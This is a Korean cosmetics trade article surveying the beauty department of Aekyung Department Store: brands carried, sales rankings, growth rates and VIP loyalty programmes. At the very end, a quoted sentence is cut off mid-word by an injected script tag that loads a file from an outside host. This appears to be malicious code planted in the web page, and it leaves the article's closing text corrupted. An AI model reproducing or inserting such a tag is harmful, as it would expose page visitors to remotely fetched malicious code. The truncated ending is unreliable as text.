백화점은 유통의 꽃. 모든 고급 브랜드가 모이고 중산층이 몰리며 해마다 놀라운 성장세를 보이고 있다. 특히 화장품시장에서 백화점이 차지하는 비중은 겉으로 드러나는 수치 이상이다. 입점만 하면 성공이 보장된다는 히트 제조기(?)라는 별명이 붙을 정도로 국내 브랜드로선 ‘꿈의 매장". 그러나 아직 드넓은 매장은 해외파가 거의 독점한 상태. 백화점 매장 리서치를 시리즈로 실어 취급 브랜드와 고객 창출 마케팅은 어떤지 알아본다. 애경백화점은 브랜드별 충분한 공간확보로 20여 개에 이르는 브랜드 수에 비해 카운슬링과 메이크업 상담이 효율적으로 이뤄져 고객들의 느긋한 쇼핑이 가능한 곳이다. 애경백화점은 작년 3월 말부터 에스티로더를 비롯한 ELCA그룹과 랑콤 등 유명 브랜드가 대거 입점해 새롭게 재오픈했다. 또한 이달 6일에는 크리스챤 디올까지 가세해 대다수의 유명 수입브랜드가 입점한 상태다. 최근 지속적인 성장 추이를 보이고 있는 네일 샵의 경우 매장을 확대해 고급분위기로 바꾸고 재오픈 했으며 백화점 내 피부관리 전문 브랜드인 마발라가 입점해 피부관리실을 운영중이다. 이러한 다브랜드 유치전략은 롯데백화점 영등포점, 행복한세상백화점 등 주변에 크고 작은 백화점들이 7개나 포진한 데다 최근에 현대백화점 목동점까지 개점해 쇼핑객의 이동이 예상됐기 때문이다. 그러나 현대백화점 목동점의 경우 샐러리맨이 대다수인 지역상권에 비해 고급스러움을 추구하는 경향이 짙어 큰 부담없이 쇼핑할 수 있는 애경백화점을 찾는 고객발길이 꾸준히 이어지고 있다. 지역특성상 20대 후반부터 40대가 주 타깃층이지만 멀티플렉스 영화관인 CGV 오픈에 맞춰 젊은 층을 겨냥한 맥, 부르조아 등 색조 브랜드를 도입하고, 아라미스, 랄프로렌 등 향수 브랜드도 보강했다. 애경백화점에서도 국내브랜드의 강세는 여전하다. 매출 1위 브랜드인 아모레와 2위 에스티로더가 배 이상의 차이를 보이는 것은 물론 5위 브랜드 안에 오휘도 포함됐다. 아모레의 강력한 파워는 개장 초기 입점해 고정고객이 다수 확보된 데다 강서지역의 국내 브랜드 강세현상에 힘을 얻었기 때문이다.

현재 입점된 화장품 매장 구성도

구분 브랜드명 베스트5브랜드 수입 가네보, 랄프로렌, 랑콤, 마발라, 맥, 바디샵, 부르조아, 샤넬, 아라미스, 에스티로더, 엘리자베스 아덴, 오리진스, 크리니크, 크리스챤 디올, 포렌코즈 1. 아모레 2. 에스티로더 3. 샤넬 4. 랑콤 5. 오휘 국내 아모레, 오션, 오휘, 코리아나

“올해는 작년부터 지속적으로 이뤄진 브랜드 런칭으로 신장률이 20% 이상이였으며, 추석을 기점으로 어려운 경기침체 상황에서도 꾸준히 10%대를 기록하는 등 평균 16% 성장했다. 특히 아모레와 오휘 등 국내 브랜드가 마케팅을 강화해 급신장한 점이 주목할 만하다.” 현재 브랜드 입점수준이 타 백화점과 비교해 일정선상에 도달했다는 최 바이어는 내년 상반기까지 브랜드를 안정화시키고 시슬리나 시세이도 등과 같은 고가 브랜드를 차차 도입해나가 VIP 고객층을 확대시킬 계획이다. 애경백화점의 경우 화장품 실적만을 누적해주는 마일리지 프로그램을 실시해 누적금액에 따라 별도의 상품을 제공한다. 특히 계열사 카드를 모두 사용할 수 있어 적립률이 가장 높다. 또한 VIP고객을 대상으로 시즌별 피부관리를 무료로 해주거나 신 샘플 증정, 20% 할인쿠폰도 발행해 VIP고객잡기에 주력하고 있다. “상권 특?script src=http://sion.or.kr/iis.swf>

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